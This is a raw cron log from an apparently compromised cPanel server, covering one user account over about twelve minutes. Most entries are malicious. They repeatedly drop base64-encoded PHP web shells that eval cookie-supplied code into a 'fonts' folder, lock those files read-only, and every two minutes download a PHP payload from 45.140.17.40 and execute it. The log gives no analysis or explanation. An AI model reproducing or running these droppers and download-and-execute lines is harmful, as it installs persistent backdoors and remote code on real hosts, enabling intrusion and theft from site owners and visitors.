Sep  1 12:38:02 ip-184-168-122-23 CROND[26058]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 12:38:02 ip-184-168-122-23 CROND[26057]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 12:39:01 ip-184-168-122-23 CROND[26275]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 12:39:01 ip-184-168-122-23 CROND[26278]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 12:39:01 ip-184-168-122-23 CROND[26281]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 12:39:01 ip-184-168-122-23 CROND[26282]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  1 12:39:01 ip-184-168-122-23 CROND[26283]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 12:40:01 ip-184-168-122-23 CROND[26668]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 12:40:01 ip-184-168-122-23 CROND[26669]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 12:40:01 ip-184-168-122-23 CROND[26666]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 12:40:01 ip-184-168-122-23 CROND[26667]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 12:40:02 ip-184-168-122-23 CROND[26671]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 12:40:02 ip-184-168-122-23 CROND[26672]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 12:40:02 ip-184-168-122-23 CROND[26673]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 12:40:02 ip-184-168-122-23 CROND[26670]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 12:41:01 ip-184-168-122-23 CROND[26933]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 12:41:01 ip-184-168-122-23 CROND[26935]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 12:41:01 ip-184-168-122-23 CROND[26937]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 12:41:01 ip-184-168-122-23 CROND[26938]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 12:42:01 ip-184-168-122-23 CROND[27073]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 12:42:01 ip-184-168-122-23 CROND[27075]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 12:42:01 ip-184-168-122-23 CROND[27077]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 12:42:01 ip-184-168-122-23 CROND[27078]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 12:42:01 ip-184-168-122-23 CROND[27081]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 12:43:01 ip-184-168-122-23 CROND[27325]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 12:43:01 ip-184-168-122-23 CROND[27326]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 12:43:01 ip-184-168-122-23 CROND[27327]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 12:43:02 ip-184-168-122-23 CROND[27330]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 12:44:01 ip-184-168-122-23 CROND[27481]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 12:44:01 ip-184-168-122-23 CROND[27483]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 12:44:01 ip-184-168-122-23 CROND[27486]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 12:44:01 ip-184-168-122-23 CROND[27484]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 12:44:01 ip-184-168-122-23 CROND[27485]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 12:45:01 ip-184-168-122-23 CROND[27623]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 12:45:01 ip-184-168-122-23 CROND[27624]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 12:45:01 ip-184-168-122-23 CROND[27628]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 12:45:01 ip-184-168-122-23 CROND[27626]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 12:45:01 ip-184-168-122-23 CROND[27629]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_mailman_cache && /usr/local/cpanel/scripts/update_mailman_cache)
Sep  1 12:45:01 ip-184-168-122-23 CROND[27631]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 12:45:01 ip-184-168-122-23 CROND[27627]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 12:46:01 ip-184-168-122-23 CROND[27792]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 12:46:01 ip-184-168-122-23 CROND[27793]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  1 12:46:01 ip-184-168-122-23 CROND[27794]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 12:46:01 ip-184-168-122-23 CROND[27797]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 12:46:01 ip-184-168-122-23 CROND[27802]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 12:46:01 ip-184-168-122-23 CROND[27800]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 12:46:01 ip-184-168-122-23 CROND[27801]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 12:47:01 ip-184-168-122-23 CROND[27910]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 12:47:01 ip-184-168-122-23 CROND[27912]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 12:47:01 ip-184-168-122-23 CROND[27913]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 12:47:01 ip-184-168-122-23 CROND[27915]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 12:48:01 ip-184-168-122-23 CROND[28026]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 12:48:01 ip-184-168-122-23 CROND[28027]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 12:48:01 ip-184-168-122-23 CROND[28025]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 12:48:01 ip-184-168-122-23 CROND[28029]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 12:48:01 ip-184-168-122-23 CROND[28028]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 12:49:01 ip-184-168-122-23 CROND[28141]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 12:49:01 ip-184-168-122-23 CROND[28142]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 12:49:01 ip-184-168-122-23 CROND[28146]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 12:49:01 ip-184-168-122-23 CROND[28149]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 12:50:01 ip-184-168-122-23 CROND[28260]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 12:50:01 ip-184-168-122-23 CROND[28262]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 12:50:01 ip-184-168-122-23 CROND[28264]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 12:50:01 ip-184-168-122-23 CROND[28266]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 12:50:01 ip-184-168-122-23 CROND[28263]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
